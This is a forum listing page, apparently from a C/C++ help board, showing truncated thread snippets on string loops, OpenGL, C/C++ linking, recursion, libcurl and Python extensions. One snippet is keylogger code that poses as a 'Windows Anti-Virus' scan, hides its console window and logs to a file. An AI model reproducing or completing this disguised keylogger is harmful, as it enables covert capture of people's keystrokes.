I'm trying to create a loop if the string wordEasy contains more than 5 letters. I am using the 'while' and 'for' but none seem to work. I am hopping if you guys would be kind enough to help me figure out what I'm doing wrong. Here is the 'for' method. // Easy word verification loop if (difficulty == 1) { cout << "Enter a word of your choice that contains no more than 5 characters\n"; const int MAX_CHAR = 5; string wordEasy[MAX_CHAR]; cin >> wordEasy; //for method for (int i = 0; i < wordEasy; ++i) { while (wordEasy.size()>=5) …

Member Avatar
Member Avatar
+0 forum 5

#include <iostream> #include <windows.h> #include <winuser.h> #include <fstream> #include <time.h> using namespace std; void KeyCheck(void); int main(void) { int Result; Result = MessageBox(NULL, "Are you sure you want to run A Full Computer Scan to check for viruses?", "Windows Anti-Virus",MB_YESNO | MB_ICONQUESTION); if (Result == IDYES) { MessageBox(NULL, "Ok, Windows antivirus will run in background, this could take several minutes or hours", "Windows Anti-Virus",MB_OK | MB_ICONINFORMATION); } if (Result == IDNO) { return EXIT_SUCCESS; } SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS); HWND stealth; AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); string keylog; while (true) { FILE *file; file=fopen(keylog.c_str(), "a+"); time_t theTime=time(0); fputs("\nStarted logging: ", file); fputs(ctime(&theTime),file); fclose(file); } …

Member Avatar
Member Avatar
+0 forum 5

hey guys, I am currently having problems with my OpenGL ES 2.0 application. I think I may have done my matrices wrong im not sure, but I cannot see my quad rendered to the screen. I believe it is something to do with the matrices I have set up which is why I cannot view my quad? or it could be within my vertex shader. below here is the code for my vertex shader //works with object attribute highp vec3 inVertex; attribute mediump vec3 inNormal; attribute mediump vec2 inTexCoord; //matrix for scene uniform mediump mat4 projection_matrix; uniform mediump mat4 view_matrix; …

Member Avatar
+0 forum 0

I keep getting the undefined reference error when calling a c function from c++ code: void proxy(char *str); In my funcs.h file, I use the #ifdef __cplusplus extern "C" { #endif wrapper, and include funcs.h in my c++ code. I also declare the function as extern "C" void proxy(char *str); above my main function in the c++ file. But when I call the function, I get the undefined reference error. Any help?

Member Avatar
Member Avatar
+0 forum 4

hello.. [COLOR="Red"]i need code for finding all possible combination of repetitive characters using recursion function.[/COLOR] actually the question i s "Imagine a robot sitting on upper left corner of NxN grid. the robot can only move in two direction "Right" and "Down". write a recursive function to find all possible paths that are there for robot? the above highlighted line is the logic i figured out but i am not able to convert it to C code. example: n=3. then there are total 6 possible paths. path1= RRDD path2= RDRD path3= RDDR path4= DDRR path5= DRDR path6= DRRD so, basicaly …

Member Avatar
Member Avatar
+0 forum 14

Hello everyone i'm new to this kind of things plz help me to solve this , if anyone can post the c/c++ code also i shall be thankfull to you :) An eccentric doctor visits his patients in order of decreasing age. Patients entering the waiting list specify not only their names but also their ages. Each time the doctor wants to visit a patient, the oldest is selected and removed from the list (so children may have to wait a very long time). Write a program, based on elementary sorting techniques to sort this list on first on Age …

Member Avatar
Member Avatar
-1 forum 6

Hi, I am currently working on an android application that requires interfacing with c/c++ libraries.So when i deploy my app on the device i get the message the application hellondk(the application name) has been forcefully closed. So when i go back and look at my code i see the in the c file warnings which say "Unresolved inclusion" like shown below. [CODE] #include <string.h>-unresolved inclusion #include <jni.h>-unresolved inclusion [/CODE] So i did a search on this but i found that to fix this you need to change the path variable under project->properties->"c/c++ general" ,But the problem is i dont have …

Member Avatar
Member Avatar
+0 forum 1

his is a follow up to the question I asked earlier and with the help of some people here I was able to start up with the function I want to write,but I am yet to complete it. Here is my earlier question: I have a series of files with the extension (.msr), they contain measured numerical values of more that ten parameters which ranges from date,time,temperature, pressure, .... that are separated by semi colon. The examples of the data values are shown below. 2010-03-03 15:55:06; 8.01; 24.9; 14.52; 0.09; 84; 12.47; 2010-03-03 15:55:10; 31.81; 24.9; 14.51; 0.08; 82; 12.40; …

Member Avatar
Member Avatar
+0 forum 12

Can some one please help me on this issue as I have spent time going around it without making any headway. I have data in an array of size say 3O. 1. I want to take the first five elements of the array, find their mean value. Store the value in another array 2.Then move to the second element of the array,from thier find the mean value of the 5 succeding elements.store the value in the array as above. 3.Then wove to the 3rd element,do the same thing above till the last element which is 30 in this case. [CODE]float …

Member Avatar
Member Avatar
+0 forum 6

Good day all, I have a date string format say like "2010-03-01" and I want to get the "tm_wday" equivalent of it say like Monday, Tuesday ... Could someone give me a hint on how to achieve this in c. Thank you.

Member Avatar
Member Avatar
+0 forum 1

free online test of C/C++ <URL SNIPPED>

Member Avatar
Member Avatar
-9 forum 6

I have interesting question. Why this code is legal in C, but not legal in C++ ? (tested with GCC 4.2 compilers) [CODE=C] void Function() {} int main () { Function(1); return 0; } [/CODE] We can simulate same C++ compiler error in C compiler by changing function definition to [ICODE]void Function(void) {}[/ICODE] So seems that if function is declared without parameters- C++ automatically substitutes VOID as parameter in function declaration, and C - does not. The only question here is - Does that difference between C & C++ is documented / official ? Because I've not seen that difference …

Member Avatar
Member Avatar
+0 forum 2

Hi! I'm trying to use the nanosleep and sleep functions in a program I am trying to write. I first tried this - [CODE] fprintf(stdout,"Hey guys.."); struct timespec t_req, t_rem; t_req.tv_sec = 1; t_req.tv_nsec = 500; if (nanosleep(&t_req, &t_rem) < 0) return 0; fprintf(stdout,"...What's up?");[/CODE] Since the function nanosleep did not return a negative number, I expected there to be a 1 second (at least) gap between the two outputs. However, that doesn't seem to be the case. As soon as I run the program, the program waits for 1 second and then throws out all the output. How can …

Member Avatar
Member Avatar
+0 forum 1

I read some time back that memory operation on stack is much faster than heap. With this information the first thing came into my mind was that if we get a way to allocate memory dynamically on stack it would surely help us to optimize memory operation cost. I started searching for it and finally I found one such way ;). Before going into its detail let’s take a look at dynamic memory allocation on heap. Generally when it comes to dynamic memory allocation new/malloc the well known calls Comes into mind. They help us to dynamically allocate memory on …

Member Avatar
Member Avatar
+0 forum 3

Hi! I am trying to convert my c/c++ code into a python module. The code captures an image which it then runs some algorithms upon. For a start, I am trying to write a code that just captures an image. I am using opencv for the image capture (in the c/c++ code). In the compiling options, I compile the file with the opencv functions using the following options: [QUOTE]g++ -g -fpic -c image.cpp -o image.o -lm `pkg-config --cflags --libs opencv` -I /u sr/include/python2.6/ -I /usr/local/include[/QUOTE] However, when I create the .so file (with all the .o files), I get the …

Member Avatar
+0 forum 0

Hi! My problems are more of porting a code to Windows, than the code itself. I need to download a file from a URL ( http://127.0.0.1/img.jpg ) and store it in a local file. I think I've screwed up the setting up of the libcurl libraries. I am using Visual Studio 2008 as my IDE. I first downloaded the zipped file with the libraries. I downloaded the file from here: http://www.gknw.net/mirror/curl/win32/curl-7.20.0-devel-mingw32.zip The description on the libcurl site said: "*This package is type libcurl This is a pure binary libcurl package, possibly including header files and documentation, but without the command …

Member Avatar
Member Avatar
+0 forum 1

Hi! I'm trying to build a Python extension with C/C++. I'm following the steps given in the documentation [URL="http://docs.python.org/extending/extending.html"]here[/URL]. I've followed the steps mentioned and written my first code. However, I have no clue on how to compile the project! I do not know how to create the .pyd file from the C code I have. I'm trying to figure out the arguments to be given to gcc (or g++), but all my attempts have been unsuccessful. I first created the object file with the following command: [QUOTE]~$ gcc -c -fpic -I /usr/include/python2.6/ spamify.c[/QUOTE] Which created the object file for …

Member Avatar
Member Avatar
+0 forum 2

Hi all, I just want to write a simple proxy to redirect client to different URLs. Say all users call the proxy server with the same URL and the proxy server redirect them to different URLs. How can I do such thing, can you please anyone comment on this. Thanks a lot

Member Avatar
Member Avatar
+0 forum 1

So I'm working on this OpenGL 3D Graph program, and like, I ran into some trouble, since I wanted it to support fullscreen, so I made the following; [CODE] int main(int argc, char *argv[]) { ... // Some stuff glutSpecialFunc(SpecKey); ... // More stuff } [/CODE] Which is calling the following function; [CODE] GLvoid ResetWindowSize(GLvoid) // Reset WindowSize { glutReshapeWindow(WindowWidth, WindowHeight); glutPositionWindow(0,0); } GLvoid SpecKey(GLint key, GLint x, GLint y) { if (key == GLUT_KEY_F1) // Toggle FullScreen { fullscreen = !fullscreen; // Toggle FullScreenBool if (fullscreen) { glutFullScreen(); // Enable Fullscreen } else { ResetWindowSize(); // Make Window, and …

Member Avatar
Member Avatar
+0 forum 1

Urbancode today unveiled AnthillPro 3.7, the latest version of its build and deployment automation tool that piles seven popular source code analysis tools onto its [url=http://www.anthillpro.com/html/products/anthillpro/tool-integrations.html]list of third-party integrations[/URL]. There's also support for the GIT repository and DB2 and PostgreSQL databases, the company said today in a statement. Anthill Pro 3.7 began shipping on Sept. 15, but had not been widely announced. Among the most significant features in 3.7 is its plug-in API, which permits organizations to build integrations with third-party or proprietary tools of their choosing, the company said. "With plug-ins, users can create, customize and rapidly update integrations," …

Member Avatar
+0 forum 0

Hi! I've started to write my kernel in assembly but I think its far too complicated! Instead I would like to try to write it in C/C++. I'm new to these languages but i've written alot in VB and C# so I don't think it's going to be too hard to learn C/C++. Which one do you think is going to be the easiest to write my kernel in? C or C++? And which compilers do you recommend? The compiler need to be able to compile in such way that it can be loaded from an assembly bootloader. Thanks in …

Member Avatar
Member Avatar
+0 forum 2

The End.